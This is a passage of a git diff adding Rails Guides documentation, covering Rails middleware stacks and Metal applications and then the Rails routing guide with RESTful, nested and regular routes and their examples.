rackup +</shell> + +To find out more about different +rackup+ options: + +<shell> +[lifo@null application]$ rackup --help +</shell> + +h3. Action Controller Middleware Stack + +Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application. + +NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements. + +h4. Inspecting Middleware Stack + +Rails has a handy rake task for inspecting the middleware stack in use: + +<shell> +$ rake middleware +</shell> + +For a freshly generated Rails application, this might produce something like: + +<ruby> +use Rack::Lock +use ActionController::Failsafe +use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"} +use Rails::Rack::Metal +use ActionController::RewindableInput +use ActionController::ParamsParser +use Rack::MethodOverride +use Rack::Head +use ActiveRecord::QueryCache +run ActionController::Dispatcher.new +</ruby> + +Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. + +h4. Configuring Middleware Stack + +Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. + +h5. Adding a Middleware + +You can add a new middleware to the middleware stack using any of the following methods: + +* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack. + +* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack. + +* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack. + +<strong>Example:</strong> + +<ruby> +# config/environment.rb + +# Push Rack::BounceFavicon at the bottom +config.middleware.use Rack::BounceFavicon + +# Add Lifo::Cache after ActiveRecord::QueryCache. +# Pass { :page_cache => false } argument to Lifo::Cache. +config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false +</ruby> + +h5. Swapping a Middleware + +You can swap an existing middleware in the middleware stack using +config.middleware.swap+. + +<strong>Example:</strong> + +<ruby> +# config/environment.rb + +# Replace ActionController::Failsafe with Lifo::Failsafe +config.middleware.swap ActionController::Failsafe, Lifo::Failsafe +</ruby> + +h5. Middleware Stack is an Array + +The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods. + +For example, the following removes the middleware matching the supplied class name: + +<ruby> +config.middleware.delete(middleware) +</ruby> + +h4. Internal Middleware Stack + +Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them: + +|_.Middleware|_.Purpose| +|+Rack::Lock+|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.| +|+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| +|+ActiveRecord::QueryCache+|Enable the Active Record query cache.| +|+ActionController::Session::CookieStore+|Uses the cookie based session store.| +|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.| +|+ActiveRecord::SessionStore+|Uses the database based session store.| +|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.| +|+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.| + +TIP: It's possible to use any of the above middlewares in your custom Rack stack. + +h4. Customizing Internal Middleware Stack + +It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+. + +<strong>Example:</strong> + +Put the following in an initializer: + +<ruby> +# config/initializers/stack.rb +ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m| + m.use ActionController::Failsafe + m.use ActiveRecord::QueryCache + m.use Rack::Head +end +</ruby> + +And now inspecting the middleware stack: + +<shell> +$ rake middleware +(in /Users/lifo/Rails/blog) +use ActionController::Failsafe +use ActiveRecord::QueryCache +use Rack::Head +run ActionController::Dispatcher.new +</shell> + +h4. Using Rack Builder + +The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+. + +<strong>Clear the existing Rails middleware stack</strong> + +<ruby> +# environment.rb +config.middleware.clear +</ruby> + +<br /> +<strong>Add a +config.ru+ file to +RAILS_ROOT+</strong> + +<ruby> +# config.ru +use MyOwnStackFromStratch +run ActionController::Dispatcher.new +</ruby> + +h3. Rails Metal Applications + +Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue. + +Ryan Bates' "railscast on Rails Metal":http://railscasts.com/episodes/150-rails-metal provides a nice walkthrough generating and using Rails Metal. + +h4. Generating a Metal Application + +Rails provides a generator called +metal+ for creating a new Metal application: + +<shell> +$ script/generate metal poller +</shell> + +This generates +poller.rb+ in the +app/metal+ directory: + +<ruby> +# Allow the metal piece to run in isolation +require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails) + +class Poller + def self.call(env) + if env["PATH_INFO"] =~ /^\/poller/ + [200, {"Content-Type" => "text/html"}, ["Hello, World!"]] + else + [404, {"Content-Type" => "text/html"}, ["Not Found"]] + end + end +end +</ruby> + +Metal applications within +app/metal+ folders in plugins will also be discovered and added to the list. + +Metal applications are an optimization. You should make sure to "understand the related performance implications":http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal before using it. + +h4. Execution Order + +All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain. + +Here's the primary method responsible for running the Metal applications: + +<ruby> +def call(env) + @metals.keys.each do |app| + result = app.call(env) + return result unless result[0].to_i == 404 + end + @app.call(env) +end +</ruby> + +In the code above, +@metals+ is an ordered hash of metal applications. Due to the default alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain. + +It is, however, possible to override the default ordering in your environment. Simply add a line like the following to +config/environment.rb+ + +<ruby> +config.metals = ["Bbb", "Aaa"] +</ruby> + +Each string in the array should be the name of your metal class. If you do this then be warned that any metal applications not listed will not be loaded. + +WARNING: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement. + +h3. Resources + +h4. Learning Rack + +* "Official Rack Website":http://rack.github.com +* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html +* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1 +* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder + +h4. Understanding Middlewares + +* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58 + +* February 7, 2009: Second version by "Pratik":credits.html#lifo +* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile new file mode 100644 index 0000000000..e9adb4b308 --- /dev/null +++ b/railties/guides/source/routing.textile @@ -0,0 +1,903 @@ +h2. Rails Routing from the Outside In + +This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to: + +* Understand the purpose of routing +* Decipher the code in +routes.rb+ +* Construct your own routes, using either the classic hash style or the now-preferred RESTful style +* Identify how a route will map to a controller and action + +endprologue. + +h3. The Dual Purpose of Routing + +Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings. + +h4. Connecting URLs to Code + +When your Rails application receives an incoming HTTP request, say + +<pre> +GET /patients/17 +</pre> + +the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the +show+ action within the +patients+ controller, displaying the details of the patient whose ID is 17. + +h4. Generating URLs from Code + +Routing also works in reverse. If your application contains this code: + +<ruby> +@patient = Patient.find(17) +</ruby> + +<erb> +<%= link_to "Patient Record", patient_path(@patient) %> +</erb> + +Then the routing engine is the piece that translates that to a link to a URL such as +http://example.com/patients/17+. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand. + +NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available. + +h3. Quick Tour of +routes.rb+ + +There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview. + +h4. Processing the File + +In format, +routes.rb+ is nothing more than one big block sent to +ActionController::Routing::Routes.draw+. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file: + +* RESTful Routes +* Named Routes +* Nested Routes +* Regular Routes +* Default Routes + +Each of these types of route is covered in more detail later in this guide. + +The +routes.rb+ file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller. + +h4. RESTful Routes + +RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this: + +<ruby> +map.resources :books +</ruby> + +h4. Named Routes + +Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route: + +<ruby> +map.login '/login', :controller => 'sessions', :action => 'new' +</ruby> + +h4. Nested Routes + +Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration: + +<ruby> +map.resources :assemblies do |assemblies| + assemblies.resources :parts +end +</ruby> + +h4. Regular Routes + +In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example, + +<ruby> +map.connect 'parts/:number', :controller => 'inventory', :action => 'show' +</ruby> + +h4. Default Routes + +The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes: + +<ruby> +map.connect ':controller/:action/:id' +map.connect ':controller/:action/:id.:format' +</ruby> + +These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them! + +h3. RESTful Routing: the Rails Default + +RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing. + +h4. What is REST? + +The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes: + +* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources +* Transferring representations of the state of that resource between system components. + +For example, to a Rails application a request such as this: + +<pre> +DELETE /photos/17 +</pre> + +would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities. + +h4. CRUD, Verbs, and Actions + +In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as + +<ruby> +map.resources :photos +</ruby> + +creates seven different routes in your application: + +|_.HTTP verb|_.URL |_.controller|_.action |_.used for| +|GET |/photos |Photos |index |display a list of all photos| +|GET |/photos/new |Photos |new |return an HTML form for creating a new photo| +|POST |/photos |Photos |create |create a new photo| +|GET |/photos/1 |Photos |show |display a specific photo| +|GET |/photos/1/edit |Photos |edit |return an HTML form for editing a photo| +|PUT |/photos/1 |Photos |update |update a specific photo| +|DELETE |/photos/1 |Photos |destroy |delete a specific photo| + +For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+. + +TIP: If you consistently use RESTful routes in your application, you should disable the default routes in +routes.rb+ so that Rails will enforce the mapping between HTTP verbs and routes. + +h4. URLs and Paths + +Creating a RESTful route will also make available a pile of helpers within your application: + +* +photos_url+ and +photos_path+ map to the path for the index and create actions +* +new_photo_url+ and +new_photo_path+ map to the path for the new action +* +edit_photo_url+ and +edit_photo_path+ map to the path for the edit action +* +photo_url+ and +photo_path+ map to the path for the show, update, and destroy actions + +NOTE: Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers. + +In each case, the +_url+ helper generates a string containing the entire URL that the application will understand, while the +_path+ helper generates a string containing the relative path from the root of the application. For example: + +<ruby> +photos_url # => "http://www.example.com/photos" +photos_path # => "/photos" +</ruby> + +h4. Defining Multiple Resources at the Same Time + +If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to +map.resources+: + +<ruby> +map.resources :photos, :books, :videos +</ruby> + +This has exactly the same effect as + +<ruby> +map.resources :photos +map.resources :books +map.resources :videos +</ruby> + +h4. Singular Resources + +You can also apply RESTful routing to singleton resources within your application. In this case, you use +map.resource+ instead of +map.resources+ and the route generation is slightly different. For example, a routing entry of + +<ruby> +map.resource :geocoder +</ruby> + +creates six different routes in your application: + +|_.HTTP verb|_.URL |_.controller|_.action |_.used for| +|GET |/geocoder/new |Geocoders |new |return an HTML form for creating the new geocoder| +|POST |/geocoder |Geocoders |create |create the new geocoder| +|GET |/geocoder |Geocoders |show |display the one and only geocoder resource| +|GET |/geocoder/edit |Geocoders |edit |return an HTML form for editing the geocoder| +|PUT |/geocoder |Geocoders |update |update the one and only geocoder resource| +|DELETE |/geocoder |Geocoders |destroy |delete the geocoder resource| + +NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural. + +A singular RESTful route generates an abbreviated set of helpers: + +* +new_geocoder_url+ and +new_geocoder_path+ map to the path for the new action +* +edit_geocoder_url+ and +edit_geocoder_path+ map to the path for the edit action +* +geocoder_url+ and +geocoder_path+ map to the path for the create, show, update, and destroy actions + +h4. Customizing Resources + +Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include: + +* +:controller+ +* +:singular+ +* +:requirements+ +* +:conditions+ +* +:as+ +* +:path_names+ +* +:path_prefix+ +* +:name_prefix+ +* +:only+ +* +:except+ + +You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide. + +h5. Using +:controller+ + +The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry: + +<ruby> +map.resources :photos, :controller => "images" +</ruby> + +will recognize incoming URLs containing +photo+ but route the requests to the Images controller: + +|_.HTTP verb|_.URL |_.controller|_.action |_.used for| +|GET |/photos |Images |index |display a list of all images| +|GET |/photos/new |Images |new |return an HTML form for creating a new image| +|POST |/photos |Images |create |create a new image| +|GET |/photos/1 |Images |show |display a specific image| +|GET |/photos/1/edit |Images |edit |return an HTML form for editing a image| +|PUT |/photos/1 |Images |update |update a specific image| +|DELETE |/photos/1 |Images |destroy |delete a specific image| + +NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. + +h4. Controller Namespaces and Routing + +Rails allows you to group your controllers into namespaces by saving them in folders underneath +app/controllers+. The +:controller+ option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the +admin+ folder: + +<ruby> +map.resources :adminphotos, :controller => "admin/photos" +</ruby> + +If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +<%= link_to "show", adminphoto(1) %>+ you will end up on the view generated by +admin/photos/show+, but you will also end up in the same place if you have +<%= link_to "show", {:controller => "photos", :action => "show"} %>+ because Rails will generate the show URL relative to the current URL. + +TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +<%= link_to "show", {:controller => "/photos", :action => "show"} %>+ + +You can also specify a controller namespace with the +:namespace+ option instead of a path: + +<ruby> +map.resources :adminphotos, :namespace => "admin", :controller => "photos" +</ruby> + +This can be especially useful when combined with +with_options+ to map multiple namespaced routes together: + +<ruby> +map.with_options(:namespace => "admin") do |admin| + admin.resources :photos, :videos +end +</ruby> + +That would give you routing for +admin/photos+ and +admin/videos+ controllers. + +h5. Using +:singular+ + +If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option: + +<ruby> +map.resources :teeth, :singular => "tooth" +</ruby> + +TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead. + +h5. Using +:requirements+ + +You can use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example: + +<ruby> +map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/} +</ruby> + +This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would. + +h5. Using +:conditions+ + +Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.) + +h5. Using +:as+ + +The +:as+ option lets you override the normal naming for the actual generated paths. For example: + +<ruby> +map.resources :photos, :as => "images" +</ruby> + +will recognize incoming URLs containing +image+ but route the requests to the Photos controller: + +|_.HTTP verb|_.URL |_.controller|_.action |_:used for| +|GET |/images |Photos |index |display a list of all photos| +|GET |/images/new |Photos |new |return an HTML form for creating a new photo| +|POST |/images |Photos |create |create a new photo| +|GET |/images/1 |Photos |show |display a specific photo| +|GET |/images/1/edit |Photos |edit |return an HTML form for editing a photo| +|PUT |/images/1 |Photos |update |update a specific photo| +|DELETE |/images/1 |Photos |destroy |delete a specific photo| + +NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. + +h5. Using +:path_names+ + +The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs: + +<ruby> +map.resources :photos, :path_names => { :new => 'make', :edit => 'change' } +</ruby> + +This would cause the routing to recognize URLs such as + +<pre> +/photos/make +/photos/1/change +</pre> + +NOTE: The actual action names aren't changed by this option; the two URLs shown would still route to the new and edit actions. + +TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment: + +<ruby> +config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' } +</ruby> + +h5. Using +:path_prefix+ + +The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route: + +<ruby> +map.resources :photos, :path_prefix => '/photographers/:photographer_id' +</ruby> + +Routes recognized by this entry would include: + +<pre> +/photographers/1/photos/2 +/photographers/1/photos +</pre> + +NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section. + +NOTE: You can also use +:path_prefix+ with non-RESTful routes. + +h5. Using +:name_prefix+ + +You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example: + +<ruby> +map.resources :photos, :path_prefix => '/photographers/:photographer_id', + :name_prefix => 'photographer_' +map.resources :photos, :path_prefix => '/agencies/:agency_id', + :name_prefix => 'agency_' +</ruby> + +This combination will give you route helpers such as +photographer_photos_path+ and +agency_edit_photo_path+ to use in your code. + +NOTE: You can also use +:name_prefix+ with non-RESTful routes. + +h5. Using +:only+ and +:except+ + +By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated: + +<ruby> +map.resources :photos, :only => [:index, :show] +</ruby> + +With this declaration, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the create action) will fail. + +The +:except+ option specifies a route or list of routes that should _not_ be generated: + +<ruby> +map.resources :photos, :except => :destroy +</ruby> + +In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/<em>id</em>+) will be generated. + +In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options. + +TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process. + +h4. Nested Resources + +It's common to have resources that are logically children of other resources. For example, suppose your application includes these models: + +<ruby> +class Magazine < ActiveRecord::Base + has_many :ads +end + +class Ad < ActiveRecord::Base + belongs_to :magazine +end +</ruby> + +Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration: + +<ruby> +map.resources :magazines do |magazine| + magazine.resources :ads +end +</ruby> + +TIP: Further below you'll learn about a convenient shortcut for this construct:<br/>+map.resources :magazines, :has_many => :ads+. + +In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL: + +|_.HTTP verb|_.URL |_.controller|_.action |_.used for| +|GET |/magazines/1/ads |Ads |index |display a list of all ads for a specific magazine| +|GET |/magazines/1/ads/new |Ads |new |return an HTML form for creating a new ad belonging to a specific magazine| +|POST |/magazines/1/ads |Ads |create |create a new ad belonging to a specific magazine| +|GET |/magazines/1/ads/1 |Ads |show |display a specific ad belonging to a specific magazine| +|GET |/magazines/1/ads/1/edit |Ads |edit |return an HTML form for editing an ad belonging to a specific magazine| +|PUT |/magazines/1/ads/1 |Ads |update |update a specific ad belonging to a specific magazine| +|DELETE |/magazines/1/ads/1 |Ads |destroy |delete a specific ad belonging to a specific magazine| + + +This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. + +h5. Using +:name_prefix+ + +The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example, + +<ruby> +map.resources :magazines do |magazine| + magazine.resources :ads, :name_prefix => 'periodical' +end +</ruby> + +This will create routing helpers such as +periodical_ads_url+ and +periodical_edit_ad_path+. You can even use +:name_prefix+ to suppress the prefix entirely: + +<ruby> +map.resources :magazines do |magazine| + magazine.resources :ads, :name_prefix => nil +end +</ruby> + +This will create routing helpers such as +ads_url+ and +edit_ad_path+. Note that calling these will still require supplying an article id: + +<ruby> +ads_url(@magazine) +edit_ad_path(@magazine, @ad) +</ruby> + +h5. Using +:has_one+ and +:has_many+ + +The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource: + +<ruby> +map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions] +</ruby> + +This has the same effect as this set of declarations: + +<ruby> +map.resources :photos do |photo| + photo.resource :photographer + photo.resources :publications + photo.resources :versions +end +</ruby> + +h5. Limits to Nesting + +You can nest resources within other nested resources if you like. For example: + +<ruby> +map.resources :publishers do |publisher| + publisher.resources :magazines do |magazine| + magazine.resources :photos + end +end +</ruby> + +However, without the use of +name_prefix => nil+, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as + +<pre> +/publishers/1/magazines/2/photos/3 +</pre> + +The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design: + +TIP: _Resources should never be nested more than 1 level deep._ + +h5. Shallow Nesting + +The +:shallow+ option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an +:id+ parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes: + +<ruby> +map.resources :publishers, :shallow => true do |publisher| + publisher.resources :magazines do |magazine| + magazine.resources :photos + end +end +</ruby> + +This will enable recognition of (among others) these routes: + +<pre> +/publishers/1 ==> publisher_path(1) +/publishers/1/magazines ==> publisher_magazines_path(1) +/magazines/2 ==> magazine_path(2) +/magazines/2/photos ==> magazines_photos_path(2) +/photos/3 ==> photo_path(3) +</pre> + +With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ options: + +<ruby> +map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true +</ruby> + +h4. Route Generation from Arrays + +In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb: + +<ruby> +map.resources :magazines do |magazine| + magazine.resources :ads +end +</ruby> + +Rails will generate helpers such as magazine_ad_path that you can use in building links: + +<ruby> +<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %> +</ruby> + +Another way to refer to the same route is with an array of objects: + +<ruby> +<%= link_to "Ad details", [@magazine, @ad] %> +</ruby> + +This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link. + +h4. Namespaced Resources + +It's possible to do some quite complex things by combining +:path_prefix+ and +:name_prefix+. For example, you can use the combination of these two options to move administrative resources to their own folder in your application: + +<ruby> +map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos' +map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags' +map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings' +</ruby> + +The good news is that if you find yourself using this level of complexity, you can stop. Rails supports _namespaced resources_ to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes: + +<ruby> +map.namespace(:admin) do |admin| + admin.resources :photos, + :has_many => { :tags, :ratings} +end +</ruby> + +As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get +admin_photos_url+ that expects to find an +Admin::PhotosController+ and that matches +admin/photos+, and +admin_photos_ratings_path+ that matches +/admin/photos/_photo_id_/ratings+, expecting to use +Admin::RatingsController+. Even though you're not specifying +path_prefix+ explicitly, the routing code will calculate the appropriate +path_prefix+ from the route nesting. + +h4. Adding More RESTful Actions + +You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole). + +h5. Adding Member Routes + +To add a member route, use the +:member+ option: + +<ruby> +map.resources :photos, :member => { :preview => :get } +</ruby> + +This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create the +preview_photo_url+ and +preview_photo_path+ route helpers. + +Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use +:get+, +:put+, +:post+, +:delete+, or +:any+ here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything: + +<ruby> +map.resources :photos, :member => { :prepare => [:get, :post] } +</ruby> + +h5. Adding Collection Routes + +To add a collection route, use the +:collection+ option: + +<ruby> +map.resources :photos, :collection => { :search => :get } +</ruby> + +This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create the +search_photos_url+ and +search_photos_path+ route helpers. + +Just as with member routes, you can specify an array of methods for a collection route: + +<ruby> +map.resources :photos, :collection => { :search => [:get, :post] } +</ruby> + +h5. Adding New Routes + +To add a new route (one that creates a new resource), use the +:new+ option: + +<ruby> +map.resources :photos, :new => { :upload => :post } +</ruby> + +This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create the +upload_photos_path+ and +upload_photos_url+ route helpers. + +TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:<br/>+map.resources :photos, :new => { :new => :any }+<br/>This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use. + +h5. A Note of Caution + +If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the +:member+ and +:collection+ hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points. + +h3. Regular Routes + +In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately. + +While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit. + +h4. Bound Parameters + +When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes: + +<ruby> +map.connect ':controller/:action/:id' +</ruby> + +If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +Photos+ controller, and to make the final parameter (1) available as +params[:id]+. + +h4. Wildcard Components + +You can set up as many wildcard symbols within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the matching action as part of the params hash. So, if you set up this route: + +<ruby> +map.connect ':controller/:action/:id/:user_id' +</ruby> + +An incoming URL of +/photos/show/1/2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be set to 2. + +h4. Static Text + +You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests: + +<ruby> +map.connect ':controller/:action/:id/with_user/:user_id' +</ruby> + +This route would respond to URLs such as +/photos/show/1/with_user/2+. + +h4. Querystring Parameters + +Rails routing automatically picks up querystring parameters and makes them available in the +params+ hash. For example, with this route: + +<ruby> +map.connect ':controller/:action/:id' +</ruby> + +An incoming URL of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be equal to 2. + +h4. Defining Defaults + +You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply defaults for these two parameters in a hash: + +<ruby> +map.connect 'photos/:id', :controller => 'photos', :action => 'show' +</ruby> + +With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller. + 